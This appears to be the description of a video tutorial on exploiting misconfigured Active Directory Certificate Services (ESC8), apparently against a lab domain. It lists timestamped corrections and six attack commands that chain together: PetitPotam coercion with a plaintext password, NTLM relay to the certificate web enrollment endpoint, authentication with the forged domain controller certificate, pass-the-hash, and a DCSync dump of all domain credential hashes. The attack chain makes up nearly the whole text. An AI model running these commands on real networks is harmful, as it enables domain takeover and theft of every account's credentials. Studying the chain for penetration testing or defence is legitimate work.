Exploiting Misconfigured ADCS: ESC8 (PART 2)
Corrections: At 4:11
The Domain Controller Machine Account by default has DCSync Rights.
At 9:26
Unauthorized
At 11:45
Didn't specify the extension
Commands Used:
1) certipy relay -target http://192.168.0.170/ -template Domain Controller.
2) python3 petitpotam.py -u reze -p 'b0mbd3vil!!' 192.168.0.136 192.168.0.160.
3) certipy auth -pfx dc1.pfx -dc-ip 192.168.0.170
4) crackmapexec smb 192.168.0.160 -u 'dc1$' -H 'hash'
5) impacket-ntlmrelayx -t https://192.168.0.170/certsrv/certfnsh.asp --template DomainController --adcs -smb2support
6) impacket-secretsdump -target-ip 192.168.0.160 -just-dc BERSERK.local/'DC1$'@192.168.0.160 -hashes 'LMHASH:NTHASH'
